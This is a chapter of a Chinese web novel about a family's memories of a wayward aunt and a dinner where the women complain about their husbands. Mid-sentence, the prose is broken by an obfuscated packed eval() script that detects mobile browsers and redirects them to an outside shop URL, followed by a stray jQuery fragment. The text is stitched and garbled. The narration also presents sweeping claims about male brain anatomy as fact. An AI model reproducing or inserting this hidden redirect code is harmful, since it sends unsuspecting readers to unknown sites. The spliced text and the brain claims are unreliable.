“拎不清”的老六妈让姜与想起她那个曾经同样“拎不清”的小姑姑,也是为了谈恋爱让奶奶操碎了心。
虽然家里只有三个孩子,但母亲要独自为了生计打拼,对孩子的照顾注定没法事无巨细。于是情窦初开的懵懂少女,喜欢三毛琼瑶向往鸳鸯蝴蝶梦和大洋彼岸自由浪漫的新时代少女,在她的碧玉年华,拥有了爱情。
可这“爱情”,并不浪漫,也不体面。
那男人是她的老师,有妻有子,比大哥还年长10岁。妈妈发现后气得一宿没睡着,她最疼爱这个女儿,她第一次怀疑自己把她惯坏了。可沉浸爱情的少女哪听得进良言,她只觉得自己是惊天动地的绝不屈服的玫瑰般带刺的言情女主,她和她的他是在对抗腐朽世俗,即便无人能懂,他们的真爱也终会克服一切。
大哥去学校找了那男人。妹妹在厂职工中学就读,进出低头抬头都是熟人,他和妈最担心要是事态发展传出什么流言,这会毁了一个女孩的人生。那天放学黄昏,他将他堵在了无人角落。男人生得尤其高大,清瘦斯文,却叫人生不起好感。彼时刚上大学的姜云翔不仅稚嫩连身高也矮上近半头,可他一点没势弱。他直视男人,目光严厉。
“她一个小孩子可能拎不清是非对错,但你作为一个成年人和师长,什么事情能做什么不能做你该有这个分寸。”他说,“凡事有度,我来是提醒你悬崖勒马,尽早断了。”
这些事姜与是零零散散从妈妈和姜云麒那里听说的。后来他们确实没再逾矩来往过,但真断干净了吗,不得而知。
小姑姑结过婚,有过孩子,她没要那个孩子,因为她不爱那个丈夫,所以她又离了婚。姜与小时候经常会去姑姑家看书,她有好多好多书,那里面最多的是三毛荷西,对啊,姑姑的打扮也总学着三毛。她和老六妈妈不同,她不执着完整的婚姻家庭,她不需要依靠男人,她有自己的事业,她独立勇敢,她梦想的是那个西方的自由梦,她痴迷的是三毛与荷西的至死不渝,她追逐爱情,轰轰烈烈的惊涛骇浪的罗曼蒂克爱情。
可她们啊。
--
“由来只有新人笑,有谁听到旧人哭。
是要问一个明白,还是要装作糊涂。”
“看似个鸳鸯蝴蝶,不应该的年代。
可是谁又能摆脱人世间的悲哀。”①
没想过“不如温柔同眠”。
嬢嬢们气生完了这妹妹还是得安慰。也就只有她们舍不得。
.
“小姜呀,”三嬢嬢看见她,“还吃得习惯吗?”
姜与笑弯眼点点头。
她拉姜与坐下,“不了解你的口味我们就想带你尝尝本地菜。本来说好订陵湾酒家,但家里人实在太多,国庆节人家又有婚宴订不到大包间,”三嬢嬢脸上有些遗憾,“只好委屈你将就一下。”
“这里很好了,”姜与忙摇头,“菜也好吃,风景也好。”
进来时她看见门口招牌,这家也是老牌米其林,是真无可挑剔。
三姐姐凑出个脑袋,“主要这家可以带狗。”
姜与哑然失笑。这她可太能理解了。
“你碘酒带了吧?”三姑夫突然出在三嬢嬢身边。
“你这个时候要碘酒做什么?”
三姑夫压低声音,“伤口有些疼我再消一下毒。”
闻言三嬢嬢翻了个白眼,“破都没破算什么伤口,擦什么碘酒我没有碘酒!”
“我出门前装到你背包里了,你没动就还在,帮我取一下好吧。”
“就你一天天事情多,婆婆妈妈小媳妇一样。”三嬢嬢嘴上抱怨着还是起身去拿衣帽架上的背包。
三姑夫也跟着走了,留下看得饶有兴致的姜与和冯止汐。相比起来冯女士算是熟人,姜与打从进入这扇包厢门就一直处于高能量社交状态,现下只剩她和冯冯,客气便少去许多。
“昨天到达很晚了吧,休息好了吗?”
她们闲聊着。
“休息好了,昨天晚上那个温度太好睡了。”
“蓝序说你们明天约好去游乐园玩?带糕糕他们?”
“嗯,难得段野也有时间,我也好多年没去过了。你跟我们一起去嘛。”
“我才不去凑那个热闹,”冯止汐想想就觉得头大,“肯定好多人。人挤人。”
“流了流了。”
那边三嬢嬢正在帮三姑夫擦碘伏,棉签上沾得有点多,褐色药水顺着手臂流到胳膊肘染黄了点袖口。
“帮你擦药你还要这么多话,不管你了要搞自己搞。”
三嬢嬢药水瓶子往姑夫手里一塞扭头就走。话虽如此,该涂的地方一丝不苟都涂好了。
冯止汐回过头,撇着嘴,“幸好你在,不然我吐槽都没地方吐槽去。”
“怎么了?”姜与笑。冯冯也是个可爱的人,可爱的时髦老太。
“这帮人,”嗯,家里的嬢嬢们,“聚在一起就抱怨家里男人,抹布乱用啦,邋遢啦,活干不明白啦,烦都烦死啦……”
“然后你加入讨伐她们转头又为男人说话?”
“看吧看吧,你也有体会吧。讲来讲去最后还是‘唉男人就这个样子能怎么办呢’……”冯止汐声情并茂。
姜与笑着给她俩杯子里都添了水。
“背刺”姐妹的事情,还真是改朝换代都不变。
三嬢嬢转了一圈回来了,领着她家大金毛蛐蛐三姑夫,“爸爸最烦人了我们不要理他了。”
“怎么了?”冯汐止好奇。
这一问三嬢嬢可来劲了,“昨天他给六六洗澡,吹毛的时候被爪子碰到了,哎呀不得了呀,疼死啦都红啦留下印子啦,还上网搜索需不需要打针啦。”她翻了个白眼,“狗爪子不小心挠一下很正常的吧,我洗狗洗了五年都没讲什么他洗一次就在那里唧唧歪歪,一下花洒不好用啦,一下毛巾不好用啦,转头又要去买专门吹狗的吹风机。买吹风机做什么?狗又不是故意的,又没有抓破没出血,一条小印子就叫叫叫,昨天擦碘酒今朝擦碘酒现在又要擦碘酒,他干脆直接抱着碘酒瓶子喝算了喝什么马爹利。”
“他要买你就让他买,买回来自己多洗几次就会洗了。”冯汐止提出可行方案。
“他能干什么?毛都吹不好,光洗还洗不干净,男人噢就是这个样子,活又干不好还矫情,他做完我还得跟在屁股后面再做一遍,一点忙帮不上还弄得乱七八糟不如我自己做。”三嬢嬢抱着六六的大脑袋,“哦哦六六也不喜欢爸爸洗对不对,那下次不要臭老头子洗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263403|185824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,妈妈洗得干净对吧,以后还是妈妈给我们宝宝洗。”
冯止汐:……
老段过来了,老段又走了,老段今天别别扭扭。
“这个老头我也不想搭理。”
姜与吃着果盘忍俊不禁,“你和叔叔怎么了?”
也没什么。早上吃饭,老段倒豆浆,顺碗边撒了一桌,冯女士在边上“啧”了一声,老段就碎了。收拾好出门,老段正低头发消息,冯女士拎着东西没手按电梯,喊他两声,毫无反应,直到他终于发现电梯没动静,对上冯女士死水般的目光,“至于吗你喊我一声不行吗”,他说。“喊谁?话都说给聋子听了”,她说。然后老段又碎了。
“男人啊眼里只有他自己,考虑不到别人的。”冯止汐摇头,“他从前吹笛子,一吹吹到大半夜,我说你这样子哪一天就要被邻居投诉的,他还慊我说他。现在更是,说不得一句,动不动就‘这一天天的日子没法过了’。”冯止汐叹气,“他以前也不是这样的啊,他以前脾气多好,就这几年,越来越古怪,耳朵不好脑子好像也坏掉了,很多时候一句话你跟他说几遍他都没反应。他自己心里其实也清楚,有时候会跟我说他不知道自己现在怎么了。我说这是正常的,更年期,年纪到了。但老头子估计有点没法面对。”
姜与噙着笑,却有点唏嘘。
“我更年期的时候也没像他这样啊,我那时候还上着班,都没功夫管这些,就那样稀里糊涂过去了,也没感觉。”
更年期么,姜与也熟啊,治疗过后她经历过早更,除了有一个来月的潮热盗汗,并没有其他心理和情绪异常,根本不像传言的那么,魔幻。
“可能因人而异吧。”她还是表达了一个客观的态度。
“嗯,”冯止汐不置可否,“男人总体来说还是要矫情一些。医院里很多时候嚎得最凶的都是男人,疼是受不了一点的,生个病天都要塌了一样。整天喊男子汉勇敢阳刚,那不是缺什么才要补什么。”
姜与笑。
“真的,”冯止汐以为她不信,“男人的脑子长得就不一样啊。”
姜与点头,“确实。”
男性神经发育晚,尤其12岁前会表现出对母亲更加依赖,并且男性的胼胝体也相对较薄,而胼胝体连接左右大脑,负责协同工作,这就涉及到信息整合、对复杂问题的处理以及情绪调节能力等等。所以男性会比女性反应更慢一点,情感更迟钝一点,敏感脆弱一点,以及无法同时处理多项工作,比如,抱着孩子讲着电话去门口签收快递的路上顺手关掉老公忘关的灯还制止了翻垃圾桶的猫。以及,一边回短信一边按电梯。
当然,群体差异不覆盖个体差异。
“也可能,”姜与不认为神经发育决定一切,“因为女孩子从小被要求要懂事。”
所以体谅、体贴、忍着、不哭、不说。
“你看段家,挺好的吧。”冯止汐瞧着眼前的一大家子,“姊妹友善,家庭合睦。没有封建重男轻女。”
因为重男不一定就轻女。
奶奶疼爱她的每一个孩子,可人心呐总归是会偏一点。不一定就资源倾斜爱一个恨一个,但多一点宽容、多一点关心、多一点耐性、多一点回应,哪怕稍微一点,得到的结果都会不同。